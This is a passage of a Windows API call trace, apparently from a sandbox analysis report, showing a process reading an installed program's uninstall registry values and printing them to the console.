pvData=0x3dee90*=0x2c99, pcbData=0x29f780*=0x4) returned 0x0 [0151.033] __iob_func () returned 0x7fefd702a80 [0151.033] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.033] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.033] _fileno (_File=0x7fefd702ab0) returned 1 [0151.033] _errno () returned 0x204bb0 [0151.033] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.033] _errno () returned 0x204bb0 [0151.033] GetFileType (hFile=0x50) returned 0x1 [0151.033] lstrlenW (lpString=" ") returned 4 [0151.033] GetConsoleOutputCP () returned 0x1b5 [0151.033] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.033] GetConsoleOutputCP () returned 0x1b5 [0151.033] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.033] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.033] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.033] lstrlenW (lpString="EstimatedSize") returned 13 [0151.033] __iob_func () returned 0x7fefd702a80 [0151.033] _fileno (_File=0x7fefd702ab0) returned 1 [0151.033] _errno () returned 0x204bb0 [0151.034] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.034] _errno () returned 0x204bb0 [0151.034] GetFileType (hFile=0x50) returned 0x1 [0151.034] lstrlenW (lpString="EstimatedSize") returned 13 [0151.034] GetConsoleOutputCP () returned 0x1b5 [0151.034] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0151.034] GetConsoleOutputCP () returned 0x1b5 [0151.034] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0151.034] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0151.034] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.034] __iob_func () returned 0x7fefd702a80 [0151.034] _fileno (_File=0x7fefd702ab0) returned 1 [0151.034] _errno () returned 0x204bb0 [0151.034] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.034] _errno () returned 0x204bb0 [0151.034] GetFileType (hFile=0x50) returned 0x1 [0151.034] lstrlenW (lpString=" ") returned 4 [0151.034] GetConsoleOutputCP () returned 0x1b5 [0151.034] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.034] GetConsoleOutputCP () returned 0x1b5 [0151.034] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.034] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.035] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.035] __iob_func () returned 0x7fefd702a80 [0151.035] _fileno (_File=0x7fefd702ab0) returned 1 [0151.035] _errno () returned 0x204bb0 [0151.035] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.035] _errno () returned 0x204bb0 [0151.035] GetFileType (hFile=0x50) returned 0x1 [0151.035] lstrlenW (lpString="REG_DWORD") returned 9 [0151.035] GetConsoleOutputCP () returned 0x1b5 [0151.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.035] GetConsoleOutputCP () returned 0x1b5 [0151.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0151.035] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.035] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.035] __iob_func () returned 0x7fefd702a80 [0151.035] _fileno (_File=0x7fefd702ab0) returned 1 [0151.035] _errno () returned 0x204bb0 [0151.035] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.035] _errno () returned 0x204bb0 [0151.035] GetFileType (hFile=0x50) returned 0x1 [0151.035] lstrlenW (lpString=" ") returned 4 [0151.035] GetConsoleOutputCP () returned 0x1b5 [0151.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.036] GetConsoleOutputCP () returned 0x1b5 [0151.036] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.036] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.036] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.036] __iob_func () returned 0x7fefd702a80 [0151.036] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.036] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x2c99") returned 6 [0151.036] _fileno (_File=0x7fefd702ab0) returned 1 [0151.036] _errno () returned 0x204bb0 [0151.036] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.036] _errno () returned 0x204bb0 [0151.036] GetFileType (hFile=0x50) returned 0x1 [0151.036] lstrlenW (lpString="0x2c99") returned 6 [0151.036] GetConsoleOutputCP () returned 0x1b5 [0151.036] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x2c99", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.036] GetConsoleOutputCP () returned 0x1b5 [0151.036] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x2c99", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x2c99", lpUsedDefaultChar=0x0) returned 6 [0151.036] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.036] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.036] __iob_func () returned 0x7fefd702a80 [0151.036] _fileno (_File=0x7fefd702ab0) returned 1 [0151.036] _errno () returned 0x204bb0 [0151.036] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.037] _errno () returned 0x204bb0 [0151.037] GetFileType (hFile=0x50) returned 0x1 [0151.037] lstrlenW (lpString="\n") returned 1 [0151.037] GetConsoleOutputCP () returned 0x1b5 [0151.037] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.037] GetConsoleOutputCP () returned 0x1b5 [0151.037] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.037] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.037] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.037] GetProcessHeap () returned 0x3c0000 [0151.037] GetProcessHeap () returned 0x3c0000 [0151.037] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.037] GetProcessHeap () returned 0x3c0000 [0151.037] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.037] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.037] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.037] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0151.037] GetProcessHeap () returned 0x3c0000 [0151.037] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0151.037] GetProcessHeap () returned 0x3c0000 [0151.037] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0151.037] GetProcessHeap () returned 0x3c0000 [0151.037] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0151.037] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", pcbData=0x29f780*=0x6a) returned 0x0 [0151.038] __iob_func () returned 0x7fefd702a80 [0151.038] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.038] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.038] _fileno (_File=0x7fefd702ab0) returned 1 [0151.038] _errno () returned 0x204bb0 [0151.038] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.038] _errno () returned 0x204bb0 [0151.038] GetFileType (hFile=0x50) returned 0x1 [0151.038] lstrlenW (lpString=" ") returned 4 [0151.038] GetConsoleOutputCP () returned 0x1b5 [0151.038] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.038] GetConsoleOutputCP () returned 0x1b5 [0151.038] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.038] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.038] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.038] lstrlenW (lpString="UninstallString") returned 15 [0151.038] __iob_func () returned 0x7fefd702a80 [0151.038] _fileno (_File=0x7fefd702ab0) returned 1 [0151.038] _errno () returned 0x204bb0 [0151.038] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.038] _errno () returned 0x204bb0 [0151.038] GetFileType (hFile=0x50) returned 0x1 [0151.038] lstrlenW (lpString="UninstallString") returned 15 [0151.038] GetConsoleOutputCP () returned 0x1b5 [0151.039] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0151.039] GetConsoleOutputCP () returned 0x1b5 [0151.039] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0151.039] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0151.039] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.039] __iob_func () returned 0x7fefd702a80 [0151.039] _fileno (_File=0x7fefd702ab0) returned 1 [0151.039] _errno () returned 0x204bb0 [0151.039] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.039] _errno () returned 0x204bb0 [0151.039] GetFileType (hFile=0x50) returned 0x1 [0151.039] lstrlenW (lpString=" ") returned 4 [0151.039] GetConsoleOutputCP () returned 0x1b5 [0151.039] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.039] GetConsoleOutputCP () returned 0x1b5 [0151.039] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.039] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.039] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.039] __iob_func () returned 0x7fefd702a80 [0151.039] _fileno (_File=0x7fefd702ab0) returned 1 [0151.039] _errno () returned 0x204bb0 [0151.039] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.039] _errno () returned 0x204bb0 [0151.039] GetFileType (hFile=0x50) returned 0x1 [0151.039] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0151.040] GetConsoleOutputCP () returned 0x1b5 [0151.040] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0151.040] GetConsoleOutputCP () returned 0x1b5 [0151.040] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0151.040] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0151.040] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.040] __iob_func () returned 0x7fefd702a80 [0151.040] _fileno (_File=0x7fefd702ab0) returned 1 [0151.040] _errno () returned 0x204bb0 [0151.040] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.040] _errno () returned 0x204bb0 [0151.040] GetFileType (hFile=0x50) returned 0x1 [0151.040] lstrlenW (lpString=" ") returned 4 [0151.040] GetConsoleOutputCP () returned 0x1b5 [0151.040] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.040] GetConsoleOutputCP () returned 0x1b5 [0151.040] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.040] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.040] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.041] __iob_func () returned 0x7fefd702a80 [0151.041] _fileno (_File=0x7fefd702ab0) returned 1 [0151.041] _errno () returned 0x204bb0 [0151.041] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.041] _errno () returned 0x204bb0 [0151.041] GetFileType (hFile=0x50) returned 0x1 [0151.041] lstrlenW (lpString="MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}") returned 52 [0151.041] GetConsoleOutputCP () returned 0x1b5 [0151.041] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0151.041] GetConsoleOutputCP () returned 0x1b5 [0151.041] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", lpUsedDefaultChar=0x0) returned 52 [0151.041] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0151.041] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.041] __iob_func () returned 0x7fefd702a80 [0151.041] _fileno (_File=0x7fefd702ab0) returned 1 [0151.041] _errno () returned 0x204bb0 [0151.041] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.041] _errno () returned 0x204bb0 [0151.041] GetFileType (hFile=0x50) returned 0x1 [0151.041] lstrlenW (lpString="\n") returned 1 [0151.041] GetConsoleOutputCP () returned 0x1b5 [0151.041] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.041] GetConsoleOutputCP () returned 0x1b5 [0151.042] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.042] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.042] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.042] GetProcessHeap () returned 0x3c0000 [0151.042] GetProcessHeap () returned 0x3c0000 [0151.042] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0151.042] GetProcessHeap () returned 0x3c0000 [0151.042] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0151.042] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0151.042] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.042] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.042] GetProcessHeap () returned 0x3c0000 [0151.042] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.042] GetProcessHeap () returned 0x3c0000 [0151.042] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.042] GetProcessHeap () returned 0x3c0000 [0151.042] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.042] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0151.042] __iob_func () returned 0x7fefd702a80 [0151.042] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.042] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.042] _fileno (_File=0x7fefd702ab0) returned 1 [0151.042] _errno () returned 0x204bb0 [0151.042] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.042] _errno () returned 0x204bb0 [0151.042] GetFileType (hFile=0x50) returned 0x1 [0151.042] lstrlenW (lpString=" ") returned 4 [0151.042] GetConsoleOutputCP () returned 0x1b5 [0151.043] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.043] GetConsoleOutputCP () returned 0x1b5 [0151.043] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.043] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.043] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.043] lstrlenW (lpString="URLInfoAbout") returned 12 [0151.043] __iob_func () returned 0x7fefd702a80 [0151.043] _fileno (_File=0x7fefd702ab0) returned 1 [0151.043] _errno () returned 0x204bb0 [0151.043] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.043] _errno () returned 0x204bb0 [0151.043] GetFileType (hFile=0x50) returned 0x1 [0151.043] lstrlenW (lpString="URLInfoAbout") returned 12 [0151.043] GetConsoleOutputCP () returned 0x1b5 [0151.043] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0151.043] GetConsoleOutputCP () returned 0x1b5 [0151.043] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0151.043] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0151.043] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.043] __iob_func () returned 0x7fefd702a80 [0151.043] _fileno (_File=0x7fefd702ab0) returned 1 [0151.043] _errno () returned 0x204bb0 [0151.043] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.043] _errno () returned 0x204bb0 [0151.043] GetFileType (hFile=0x50) returned 0x1 [0151.044] lstrlenW (lpString=" ") returned 4 [0151.044] GetConsoleOutputCP () returned 0x1b5 [0151.044] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.044] GetConsoleOutputCP () returned 0x1b5 [0151.044] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.044] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.044] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.044] __iob_func () returned 0x7fefd702a80 [0151.044] _fileno (_File=0x7fefd702ab0) returned 1 [0151.044] _errno () returned 0x204bb0 [0151.044] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.044] _errno () returned 0x204bb0 [0151.044] GetFileType (hFile=0x50) returned 0x1 [0151.044] lstrlenW (lpString="REG_SZ") returned 6 [0151.044] GetConsoleOutputCP () returned 0x1b5 [0151.044] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.044] GetConsoleOutputCP () returned 0x1b5 [0151.044] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.044] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.044] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.044] __iob_func () returned 0x7fefd702a80 [0151.045] _fileno (_File=0x7fefd702ab0) returned 1 [0151.045] _errno () returned 0x204bb0 [0151.045] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.045] _errno () returned 0x204bb0 [0151.045] GetFileType (hFile=0x50) returned 0x1 [0151.045] lstrlenW (lpString=" ") returned 4 [0151.045] GetConsoleOutputCP () returned 0x1b5 [0151.045] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.045] GetConsoleOutputCP () returned 0x1b5 [0151.045] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.045] fprintf (in: 